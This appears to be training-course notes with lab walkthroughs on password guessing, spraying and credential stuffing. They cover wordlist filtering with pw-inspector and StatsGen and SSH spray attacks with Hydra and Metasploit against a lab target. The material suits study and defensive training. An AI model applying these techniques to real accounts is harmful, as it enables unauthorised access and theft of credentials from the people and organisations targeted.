Password Attacks
Last updated
Last updated
Password guessing is not the same as password cracking. Here’s how to guess passwords over a network:
Identify a valid user ID.
Create a list of possible passwords.
Try typing in each password.
If system allows you in, success.
If not, try again.
To speed up password guessing, attackers use scripts or tools to automate the process. Even so, guessing passwords is slow—only 1 guess every 3 to 5 seconds. This is much slower than password-cracking methods. Also, guessing passwords too many times can lock out accounts if lockout settings are in place.
To avoid account lockout, attackers use password spraying. Instead of guessing many passwords for a few accounts, they try a few passwords on many accounts, hoping one will work.
An attacker might use four passwords and test them on many accounts and systems. After a set time resets the login attempt counter, they try a new set of four passwords, and keep repeating this process.
Hydra is a tool for guessing passwords online. It works with many services like SSH, SMB, and RDP. Attackers use Hydra to test usernames and passwords on both public services (like Microsoft 365) and internal servers. Hydra can test one username with one password, or one username with many passwords, or many usernames with one password, or many usernames with many passwords.
Hydra is great because it supports many protocols for guessing passwords. It recently added Remote Desktop Protocol (RDP) support, which was missing before, making it even more useful for attackers.
The list of passwords shown here includes the top 20 most common ones from Troy Hunt's HaveI Been Pwned (https://haveibeenpwned.com/Passwords). It represents a sample of passwords an attacker might use in guessing or spray attacks. While this list is a good starting point, it can be improved by considering other factors specific to your organization, such as popular local sports teams, player names, jersey numbers, company brands, and variations of the company or city names.
If passwords need to be changed every few months, users might use the season and year in their passwords (like "Fall2024"). For monthly changes, they might include the month and year (e.g., "September2023"). These passwords are weak but often fit the usual rules for including uppercase and lowercase letters and numbers.
If an attacker knows the password policy, they will filter out guesses that don't match the required complexity to avoid wasting attempts on bad passwords. Tools like pw-inspector (included with THC Hydra, https://github.com/vanhauser-thc/thc-hydra/)and StatsGen (https://github.com/iphelix/pack/) can help refine and analyze wordlists to meet these requirements, speeding up password attacks.
Let's jump into a Lightning Labs event to reinforce this learning objective.
1) Before using password attacks, attackers will customize their password lists to meet organization's password complexity requirements. Let's take a look. Start by listing the files in your home directory by running ls.
The wordlist file we'll use in this event is an excerpt from the Rockyou 2021 wordlist consisting of 1 million randomly selected words.
2) Take a look at several of the passwords using the head utility.
The first 20 lines reveal a set of passwords of mixed complexity and length. However, some of these passwords are too simple to meet modern password complexity requirements.
3) We can use StatsGen (statsgen.py) to get password statistical distribution information. Run statsgen.py wordlist.txt to see a statistical analysis of the wordlist entries.
The output of StatsGen shows us the status on password length, sorted by most to least frequent. We also get character set distribution information, where most passwords consist of lowercase letters and numbers (loweralphanum).
Next, let's look at another utility that an attacker can use to refine their wordlist based on specified password complexity rules.
4) PW-inspector is a utility distributed with THC-Hydra. It allows us to filter a list of words to meet specified password complexity requirements. PW-inspector has built-in help. Run pw-inspector to see the help information.
In the help output we see that PW-inspector reads an input wordlist with -i, writes a filtered wordlist with -o and accepts several filtering arguments.
5) Let's start by filtering with a minimum length requirement of 10 characters. Run pw-inspector, reading from the wordlist and writing a new output file called wordlist-min10.txt, adding -m 10 to specify the minimum password length.
6) Assess the statistical distribution of the new output file using StatsGen.
(Note: We've added the -q argument with the script to suppress the program banner output.)
The output of StatsGen shows us that the PW-inspector command worked: the new wordlist only includes passwords a minimum of 10 characters or longer.
7) We can also use PW-inspector to filter based on password complexity requirements. For example, add the arguments -l -u -n to the previous PW-inspector command to filter further, requiring each password to include at least one lowercase, one uppercase, and one number character.
8) Assess the statistical distribution of the new output file.
This time we see an even more restricted character set by applying the more complex PW-inspector password filter rule.
9) Let's put this to practical use. The default Windows password policy requires a minimum 8 characters with 3 of the following categories:
Uppercase
Lowercase
Digits
Non-alphanumeric
Unicode alphabetic
Pw-inspector doesn't handle the Unicode alphabetic requirement, but we can refine the wordlist to include 3 of the other 4 categories.
PW-inspector's -c argument allows us to be flexible in the filtering policy, indicating a number of complexity requirements that must be met for the password.
Generate a new filtered wordlist, requiring 3 of the 4 PW-inspector sets for lowercase, uppercase, numbers, and printable characters with a minimum length of 8 characters.
10) Assess the statistical distribution of the new output file.
In the output of StatsGen we see a more varied character set, consisting of the specified combination of desired characters. This output file would be suitable for an attack against a Windows domain with a default password complexity requirement.
One way to create a password guess list is by reusing usernames and passwords from breached websites. Attackers can take the most common cracked passwords or use employee passwords from other sites. A common method is to merge breached username and password lists, then search for valid credentials from a target organization. This tactic, called credential stuffing, is highly effective for attacking big organizations.
Another variation of this attack is to conduct in-depth reconnaissance against an organization, identifying not just valid usernames and domains, but also other passwords by target company employees. For example, this author can receive email to jwright@sans.org, but I never use this email for registering accounts on other websites. However, an attacker whose reconnaissance identifies me as a SANS employee could also identify the email addresses jwright@hasborg.com, josh@willhackforsushi.com, josh@wr1ght.net, etc. and collect passwords associated with those email addresses as potential password guesses against the jwright@sans.org account.
Attacking passwords this way is controversial because it relies on stolen password breach lists, often found in underground communities. Getting these lists can be risky, but it’s still a useful method that has gained access to many accounts in target organizations.
To illustrate the idea of compromised password lists, take this example: the target organization is Target-TGT with the domain name target.tgt. Searching for emails ending with @target.tgt reveals several matches, exposing passwords for multiple accounts. However, one account for "gavalon" didn't have its password cracked, showing a password hash instead.
In a password guessing attack, hackers use email accounts from data breaches (like LinkedIn, Verifications.io, MySpace, Zynga) to test for reused passwords on Target-TGT. They also search for other email addresses linked to the same user to find more possible passwords for attacks. In this case, the attacker looks for other matches for the user "piantenora" to find more passwords to guess.
In this exercise, we'll look at password guessing and password spray attacks using Hydra. First, we'll experiment with Hydra using the local Slingshot Linux VM and the SSH server service, then we'll attack a target system, the eDirectory employee directory search server.
Let's start by checking if the ssh service is running
Hydra can perform password guessing and spray attacks on various protocols. You provide a username (-l), a password (-p), the service, and the target (e.g., ssh://10.10.10.10). Using -t 4 limits the number of attempts at the same time for better reliability.
Let's use Hydra to test SSH login for the root account with the password "sec504".
In this example, Hydra couldn't find the correct username and password for the SSH server. Let's try the command again, but this time we'll use "sec504" as the login name with the -l option.
Here we see the successful output of Hydra and a password guessing attack, noting that the login combination sec504/sec504 was successful.
Unlike manually guessing passwords with ssh, Hydra shows us the successful login details directly. It also allows you to use a list of passwords to try.
To use a list of passwords for Hydra's guessing attack, we'll not use the -p option. Instead, use -P and provide a file with the list of passwords.
Hydra is set to guess passwords with four tasks running at once (-t 4). By default, Hydra runs 16 tasks, which might cause false results on some servers. Using four tasks is better for guessing SSH passwords.
On many servers, repeated failed login attempts will lock the account, making it hard for attackers to tell if a password is right or wrong when an account is locked. Instead, attackers might use Hydra in a password spray attack with a few passwords for many user accounts.
Let's repeat the Hydra attack, this time specifying a single password sec504 with a list of 49 usernames, supplied in the users.txt file:
In this attack, we recover the sec504 account password without locking the account because we only tried logging in once for each username.
Let's finish this portion of the lab exercise by stopping the SSH service using the killall command, as shown here.
Next, we'll apply these steps in a practical attack environment.
For the next part of the lab, we'll run Hydra password attacks on the eDirectory target. Let's start the target server first by using the gohydratgt command.
Let's find the IP address of the eDirectory server and use Nmap to scan for open TCP ports in the range 172.30.0.2-254.
We can see that the server at 172.30.0.25 is running SSH and web server.
Let's check the web server at http://172.30.0.25 and see what we find.
Let's search using any word and see what we discover.
Here we can see that, we have a few employee names, and since every employee has an email address, we can search for all users by looking for the "@" symbol.
Next, let's save the employee information into a file.
Now, let's extract the email addresses from the users.txt file.
We also need to take out the @target.tgt part of the email address.
Using the user names from eusers.txt and passwords from passwords.txt, we can perform a password spray attack on the SSH server with Hydra.
Hydra found two passwords: jorestes and pemma. Let's use these credentails to get the secret.txt file.
In this exercise, we'll look at password guessing and password spray attacks using the Metasploit auxiliary module ssh_login.
Let's check if the SSH service is running.
Next, let's start msfconsole from the terminal.
Let's use the use command to load the ssh_login module.
Let's run the info command to check the module details and available options.
The ssh_login module takes a username, password, and one or more target IPs to check if login via SSH is successful.
Let's set the RHOSTS to target the local Slingshot Linux VM with IP 127.0.0.1, set USERNAME to root, and PASSWORD to sec504.
To avoid a bug in Metasploit, let's set the gatherproof parameter to false also.
The ssh_login and password guessing attack worked, with the sec504/sec504 login being successful.
In this case, ssh_login works like using the regular SSH to guess a password, but it shows the successful username and password combination. It can also use a list of passwords with the PASS_FILE option.
First, let's use unset to remove the PASSWORD parameter, then set the wordlist.
Metasploit will use passwords from the file listed in the PASS_FILE parameter to guess the target system's password. In this case, the password sec504:sec504 worked.
On many servers, password guessing causes an account to lock after several failed login attempts, making it hard for the attacker to tell if a password is incorrect or if the account is locked.
Instead, we can set up a password spray attack by using a few passwords with many user accounts for ssh_login.
In this attack, we recover the sec504 account password without risking a lockout by trying to log in only once per username.
Next, we'll put these steps into practice by attacking the eDirectory target in the next part of the lab.
Let's Identify the IP address of the eDirectory server and enumerate the open TCP ports on the server using Nmap.
We can see that the server at 172.30.0.25 is running SSH and a web server.
We'll follow the same process as before to get a list of employee emails, extract the names, and save them in eusers.txt. This file will be used for a password spray attack on the SSH server. Check the steps above for details.
Let's use the eusers.txt file that we get from the website and password.txt to perform a password spray attack on the SSH server.
Using ssh_login quickly shows the passwords for the jorestes and pemma user accounts.
